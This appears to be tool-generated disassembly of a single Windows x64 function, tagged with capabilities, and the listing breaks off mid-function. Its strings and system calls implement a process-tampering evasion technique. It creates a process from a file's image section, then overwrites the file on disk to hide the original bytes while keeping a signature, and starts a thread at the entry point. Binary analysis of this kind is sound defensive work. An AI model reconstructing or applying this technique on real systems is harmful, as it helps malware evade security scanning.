Function at 0x14000b0a0
Capabilities:
Create directory
Create process on windows
Create thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xc08
mov rax, qword [0x14005c678]
xor rax, rsp
mov qword [rsp + 0xbf8], rax
mov eax, dword [rsp + 0xc40]
and eax, 2
test eax, eax
je 0x14000b0f5
mov eax, dword [rsp + 0xc40]
and eax, 8
test eax, eax
je 0x14000b0f5
mov eax, 0x80070057
jmp 0x14000cb77
mov eax, dword [rsp + 0xc40]
and eax, 1
test eax, eax
je 0x14000b11b
mov eax, dword [rsp + 0xc40]
and eax, 0x10
test eax, eax
je 0x14000b11b
mov eax, 0x80070057
jmp 0x14000cb77
mov edx, 8
lea rcx, [rsp + 0xb80]
call fcn.140008f70
lea rcx, [rsp + 0xb80]
call fcn.1400012e0
nop
lea rdx, [rsp + 0xb80]
lea rcx, [rsp + 0x1b0]
call fcn.1400029c0
mov rdx, rax
lea rcx, [rsp + 0xba0]
call fcn.14000a9b0
nop
mov rcx, qword [rsp + 0xc20]
call fcn.14000d280
mov r8, rax
lea rdx, str.Source_File:___ls_
mov ecx, 1
call fcn.14002d620
mov rcx, qword [rsp + 0xc28]
call fcn.14000d280
mov r8, rax
lea rdx, str.Target_File:___ls_
mov ecx, 1
call fcn.14002d620
mov edx, 8
lea rcx, [rsp + 0xb90]
call fcn.140008f70
lea rcx, [rsp + 0xb90]
call fcn.1400012e0
nop
mov rcx, qword [rsp + 0xc20]
call fcn.14000d280
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rax
lea rcx, [rsp + 0xb90]
call fcn.14000d5c0
lea rcx, [rsp + 0xb90]
call fcn.14000d360
movzx eax, al
test eax, eax
jne 0x14000b29d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Failed_to_open_source_file
mov edx, eax
mov ecx, 8
call fcn.14002d5b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc18]
lea r8, [0x14003a1d8]
mov edx, 0x40
mov rcx, rax
call fcn.140006e70
mov dword [rsp + 0xa4], eax
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xa4]
jmp 0x14000cb77
mov rdx, qword [rsp + 0xc28]
lea rcx, [rsp + 0xbc0]
call fcn.140002870
nop
mov eax, dword [rsp + 0xc40]
and eax, 0x20
test eax, eax
je 0x14000b3fe
lea rcx, [rsp + 0xbc0]
call fcn.14000d280
mov r8, rax
lea rdx, [0x14003a218]
mov ecx, 2
call fcn.14002d620
mov edx, 8
lea rcx, [rsp + 0xbe8]
call fcn.140008f70
lea rcx, [rsp + 0xbe8]
call fcn.1400012e0
nop
lea rcx, [rsp + 0xbc0]
call fcn.14000d280
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000b3bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Failed_to_create_directory
mov edx, eax
mov ecx, 8
call fcn.14002d5b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc18]
lea r8, [0x14003a288]
mov edx, 0x4f
mov rcx, rax
call fcn.140006e70
mov dword [rsp + 0xa8], eax
lea rcx, [rsp + 0xbe8]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xa8]
jmp 0x14000cb77
lea rdx, str.:exe
lea rcx, [rsp + 0xbc0]
call fcn.14000b070
lea rcx, [rsp + 0xbc0]
call fcn.14000d280
mov r8, rax
lea rdx, str.Using_Directory_Stream:___ls_
mov ecx, 2
call fcn.14002d620
nop
lea rcx, [rsp + 0xbe8]
call fcn.14000aee0
mov dword [rsp + 0x84], 7
mov eax, dword [rsp + 0xc40]
and eax, 2
test eax, eax
je 0x14000b433
lea rdx, str.Creating_target_file_with_exclusive_access
mov ecx, 2
call fcn.14002d620
mov dword [rsp + 0x84], 0
mov edx, 8
lea rcx, [rsp + 0xb88]
call fcn.140008f70
lea rcx, [rsp + 0xb88]
call fcn.1400012e0
nop
lea rcx, [rsp + 0xbc0]
call fcn.14000d280
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, dword [rsp + 0x84]
mov edx, 0xc0000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rax
lea rcx, [rsp + 0xb88]
call fcn.14000d5c0
lea rcx, [rsp + 0xb88]
call fcn.14000d360
movzx eax, al
test eax, eax
jne 0x14000b54f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Failed_to_create_target_file
mov edx, eax
mov ecx, 8
call fcn.14002d5b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc18]
lea r8, [0x14003a3b8]
mov edx, 0x6d
mov rcx, rax
call fcn.140006e70
mov dword [rsp + 0xac], eax
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xac]
jmp 0x14000cb77
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0x128], rax
lea rcx, [rsp + 0xb90]
call fcn.140009740
mov qword [rsp + 0x120], rax
mov r8b, 1
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x120]
call fcn.14002bef0
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000b650
lea r8, str.Failed_to_copy_source_binary_to_target_file
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0
jge 0x14000b5ea
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x6c]
lea r8, [0x14003a458]
mov edx, 0x7a
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x6c]
mov dword [rsp + 0xb0], eax
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xb0]
jmp 0x14000cb77
lea rdx, str.Copied_source_binary_to_target_file
mov ecx, 2
call fcn.14002d620
call fcn.1400097e0
mov rdx, rax
lea rcx, [rsp + 0xb90]
call fcn.14000d5c0
mov edx, 8
lea rcx, [rsp + 0xb98]
call fcn.140008f70
lea rcx, [rsp + 0xb98]
call fcn.1400012e0
nop
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0xb98]
call fcn.14000af30
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
jge 0x14000b83a
lea rcx, [rsp + 0xb98]
call fcn.14000d550
lea r8, str.Failed_to_create_target_file_image_section
mov edx, dword [rsp + 0x68]
mov ecx, 8
call fcn.14002d5b0
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0
jge 0x14000b7c6
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x88]
lea r8, [0x14003a548]
mov edx, 0x95
mov rcx, rax
call fcn.14000cc90
mov dword [rsp + 0xb4], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xb4]
jmp 0x14000cb77
mov dword [rsp + 0xb8], 0
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xb8]
jmp 0x14000cb77
lea rdx, str.Created_image_section_for_target
mov ecx, 2
call fcn.14002d620
lea rcx, [rsp + 0xb98]
call fcn.140009740
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0xb80]
call fcn.14000af30
mov qword [rsp + 0x100], rax
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.ntdll.dll_NtCreateProcessEx]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
jge 0x14000ba05
lea rcx, [rsp + 0xb80]
call fcn.14000d550
lea r8, str.Failed_to_create_process
mov edx, dword [rsp + 0x68]
mov ecx, 8
call fcn.14002d5b0
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
jge 0x14000b991
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x8c]
lea r8, [0x14003a610]
mov edx, 0xa8
mov rcx, rax
call fcn.14000cc90
mov dword [rsp + 0xbc], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xbc]
jmp 0x14000cb77
mov dword [rsp + 0xc0], 0
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xc0]
jmp 0x14000cb77
lea rcx, [rsp + 0xb80]
call fcn.140009740
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8d, eax
lea rdx, str.Created_process_object__PID__lu
mov ecx, 2
call fcn.14002d620
call fcn.1400097e0
mov rdx, rax
lea rcx, [rsp + 0xb98]
call fcn.14000d5c0
lea rcx, [rsp + 0xb88]
call fcn.140009740
lea rdx, [rsp + 0x378]
mov rcx, rax
call fcn.14002d150
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000bb2e
lea r8, str.Failed_to_get_target_file_image_entry_RVA
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
jge 0x14000baba
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x70]
lea r8, [0x14003a6e8]
mov edx, 0xbf
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0xc4], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xc4]
jmp 0x14000cb77
mov r8d, dword [rsp + 0x378]
lea rdx, str.Located_target_image_entry_RVA_0x_08x
mov ecx, 2
call fcn.14002d620
mov rcx, qword [rsp + 0xc30]
call fcn.14000d310
movzx eax, al
test eax, eax
je 0x14000c078
mov rcx, qword [rsp + 0xc30]
call fcn.140009720
mov rcx, rax
call fcn.14000d280
mov r8, rax
lea rdx, str.Replacing_target_with___ls_
mov ecx, 1
call fcn.14002d620
mov edx, 8
lea rcx, [rsp + 0xbb0]
call fcn.140008f70
lea rcx, [rsp + 0xbb0]
call fcn.1400012e0
nop
mov rcx, qword [rsp + 0xc30]
call fcn.140009720
mov rcx, rax
call fcn.14000d280
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rax
lea rcx, [rsp + 0xbb0]
call fcn.14000d5c0
lea rcx, [rsp + 0xbb0]
call fcn.14000d360
movzx eax, al
test eax, eax
jne 0x14000bcc6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Failed_to_open_replace_with_file
mov edx, eax
mov ecx, 8
call fcn.14002d5b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc18]
lea r8, [0x14003a808]
mov edx, 0xe4
mov rcx, rax
call fcn.140006e70
mov dword [rsp + 0xc8], eax
lea rcx, [rsp + 0xbb0]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xc8]
jmp 0x14000cb77
mov eax, dword [rsp + 0xc40]
and eax, 4
test eax, eax
je 0x14000bcdb
mov byte [rsp + 0x64], 1
jmp 0x14000bce0
mov byte [rsp + 0x64], 0
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0xf8], rax
lea rcx, [rsp + 0xbb0]
call fcn.140009740
mov qword [rsp + 0x130], rax
movzx r8d, byte [rsp + 0x64]
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x130]
call fcn.14002bef0
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000c066
mov ecx, 0x4c8
call fcn.140009d30
cmp dword [rsp + 0x60], eax
je 0x14000be14
lea r8, str.Failed_to_replace_target_file
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jge 0x14000bd92
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x74]
lea r8, [0x14003a888]
mov edx, 0xf4
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0xcc], eax
lea rcx, [rsp + 0xbb0]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xcc]
jmp 0x14000cb77
lea rdx, str.Fixing_up_target_replacement__hiding_original_bytes_and_retaining_any_signature
mov ecx, 2
call fcn.14002d620
lea rcx, [rsp + 0xbb0]
call fcn.140009740
lea rdx, [rsp + 0xbf0]
mov rcx, rax
call fcn.14002d090
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000bf1d
lea r8, str.Failed_to_get_replace_with_file_size
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0
jge 0x14000be9b
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x78]
lea r8, [0x14003a9c0]
mov edx, 0x109
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0xd0], eax
lea rcx, [rsp + 0xbb0]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xd0]
jmp 0x14000cb77
mov dword [rsp + 0xbe0], 0
mov eax, dword [rsp + 0xc40]
and eax, 4
test eax, eax
je 0x14000bf3d
mov byte [rsp + 0x65], 1
jmp 0x14000bf42
mov byte [rsp + 0x65], 0
lea rax, [rsp + 0x1b8]
mov rdi, rax
mov rsi, qword [rsp + 0xc38]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xbf0]
mov qword [rsp + 0x138], rax
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x1d0]
lea rcx, [rsp + 0x1b8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x65]
mov byte [rsp + 0x20], al
lea r9, [rsp + 0xbe0]
lea r8, [rsp + 0x1d0]
mov rdx, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x140]
call fcn.14002d8e0
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000bfee
lea r8, str.Failed_to_hide_original_file_bytes
mov edx, dword [rsp + 0x60]
mov ecx, 4
call fcn.14002d5b0
jmp 0x14000c066
mov eax, dword [rsp + 0xc40]
and eax, 4
test eax, eax
je 0x14000c003
mov byte [rsp + 0x66], 1
jmp 0x14000c008
mov byte [rsp + 0x66], 0
mov eax, dword [rsp + 0xbe0]
mov dword [rsp + 0xd4], eax
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0x148], rax
movzx r8d, byte [rsp + 0x66]
mov edx, dword [rsp + 0xd4]
mov rcx, qword [rsp + 0x148]
call fcn.14002c3e0
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000c066
lea r8, str.Failed_to_retain_file_signature
mov edx, dword [rsp + 0x60]
mov ecx, 4
call fcn.14002d5b0
nop
lea rcx, [rsp + 0xbb0]
call fcn.14000aee0
jmp 0x14000c1d7
lea rdx, str.Overwriting_target_with_pattern
mov ecx, 1
call fcn.14002d620
mov eax, dword [rsp + 0xc40]
and eax, 4
test eax, eax
je 0x14000c09e
mov byte [rsp + 0x67], 1
jmp 0x14000c0a3
mov byte [rsp + 0x67], 0
lea rax, [rsp + 0x1e0]
mov rdi, rax
mov rsi, qword [rsp + 0xc38]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xb88]
call fcn.140009740
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x1f0]
lea rcx, [rsp + 0x1e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
movzx r8d, byte [rsp + 0x67]
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0x150]
call fcn.14002de20
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0
jge 0x14000c1d7
lea r8, str.Failed_to_write_pattern_over_file
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0
jge 0x14000c163
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x7c]
lea r8, [0x14003ab18]
mov edx, 0x138
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0xd8], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xd8]
jmp 0x14000cb77
lea rdx, str.Preparing_target_for_execution
mov ecx, 1
call fcn.14002d620
lea rax, [rsp + 0x380]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rcx, [rsp + 0xb80]
call fcn.140009740
mov qword [rsp + 0x20], 0
mov r9d, 0x30
lea r8, [rsp + 0x380]
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
jge 0x14000c362
lea r8, str.Failed_to_query_new_process_info
mov edx, dword [rsp + 0x68]
mov ecx, 8
call fcn.14002d5b0
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0
jge 0x14000c2ee
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x94]
lea r8, [0x14003abe8]
mov edx, 0x14c
mov rcx, rax
call fcn.14000cc90
mov dword [rsp + 0xdc], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xdc]
jmp 0x14000cb77
mov dword [rsp + 0xe0], 0
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xe0]
jmp 0x14000cb77
lea rax, [rsp + 0x3b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x7c8
rep stosb byte [rdi], al
lea rcx, [rsp + 0xb80]
call fcn.140009740
mov qword [rsp + 0x20], 0
mov r9d, 0x7c8
lea r8, [rsp + 0x3b0]
mov rdx, qword [rsp + 0x388]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000c456
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.Failed_to_read_remote_process_PEB
mov edx, eax
mov ecx, 8
call fcn.14002d5b0
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0xc18]
lea r8, [0x14003ac78]
mov edx, 0x158
mov rcx, rax
call fcn.140006e70
mov dword [rsp + 0xe4], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xe4]
jmp 0x14000cb77
mov rax, qword [rsp + 0x388]
add rax, 0x20
mov r8, rax
lea rdx, str.Writing_process_parameters__remote_PEB_ProcessParameters_0x_p
mov ecx, 2
call fcn.14002d620
movzx edx, byte [0x14003b030]
lea rcx, [rsp + 0x2f0]
call fcn.14000ae90
nop
movzx edx, byte [0x14003b030]
lea rcx, [rsp + 0x2c8]
call fcn.14000ae90
nop
lea rdx, str.WinSta0Default
lea rcx, [rsp + 0x2a0]
call fcn.14000a0e0
nop
mov rdx, qword [rsp + 0xc28]
lea rcx, [rsp + 0x278]
call fcn.1400013a0
nop
call fcn.14000d620
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x80]
mov qword [rsp + 0x188], rax
mov r8, qword [rsp + 0xc28]
lea rdx, [0x14003a214]
lea rcx, [rsp + 0x318]
call fcn.14000a460
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x160], rax
lea r8, [0x14003a0a4]
mov rdx, qword [rsp + 0x160]
lea rcx, [rsp + 0x338]
call fcn.14000a400
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x170], rax
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x250]
call fcn.14000a270
nop
movzx edx, byte [0x14003b030]
lea rcx, [rsp + 0x228]
call fcn.14000ae90
nop
movzx edx, byte [0x14003b030]
lea rcx, [rsp + 0x200]
call fcn.14000ae90
nop
lea rax, [rsp + 0x358]
mov qword [rsp + 0x178], rax
mov rdx, qword [rsp + 0xc28]
mov rcx, qword [rsp + 0x178]
call fcn.140002870
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0xb80]
call fcn.140009740
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x278]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x228]
lea r8, [rsp + 0x200]
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x198]
call fcn.14002e8b0
mov dword [rsp + 0x60], eax
lea rcx, [rsp + 0x200]
call fcn.140003340
nop
lea rcx, [rsp + 0x228]
call fcn.140003340
nop
lea rcx, [rsp + 0x250]
call fcn.140003340
nop
lea rcx, [rsp + 0x338]
call fcn.1400032f0
nop
lea rcx, [rsp + 0x318]
call fcn.1400032f0
nop
lea rcx, [rsp + 0x278]
call fcn.140003340
nop
lea rcx, [rsp + 0x2a0]
call fcn.140003340
nop
lea rcx, [rsp + 0x2c8]
call fcn.140003340
nop
lea rcx, [rsp + 0x2f0]
call fcn.140003340
cmp dword [rsp + 0x60], 0
jge 0x14000c7aa
lea r8, str.Failed_to_write_remote_process_parameters
mov edx, dword [rsp + 0x60]
mov ecx, 8
call fcn.14002d5b0
mov ecx, dword [rsp + 0x60]
call fcn.1400026b0
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0
jge 0x14000c733
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x80]
lea r8, [0x14003adb8]
mov edx, 0x16f
mov rcx, rax
call fcn.140006ed0
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0xe8], eax
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xe8]
jmp 0x14000cb77
mov eax, dword [rsp + 0xc40]
and eax, 8
test eax, eax
je 0x14000c7cd
call fcn.1400097e0
mov rdx, rax
lea rcx, [rsp + 0xb88]
call fcn.14000d5c0
mov eax, dword [rsp + 0x378]
mov rcx, qword [rsp + 0x3c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov r8, qword [rsp + 0xf0]
lea rdx, str.Creating_thread_in_process_at_entry_point_0x_p
mov ecx, 2
call fcn.14002d620
mov edx, 8
lea rcx, [rsp + 0xbb8]
call fcn.140008f70
lea rcx, [rsp + 0xbb8]
call fcn.1400012e0
nop
lea rcx, [rsp + 0xb80]
call fcn.140009740
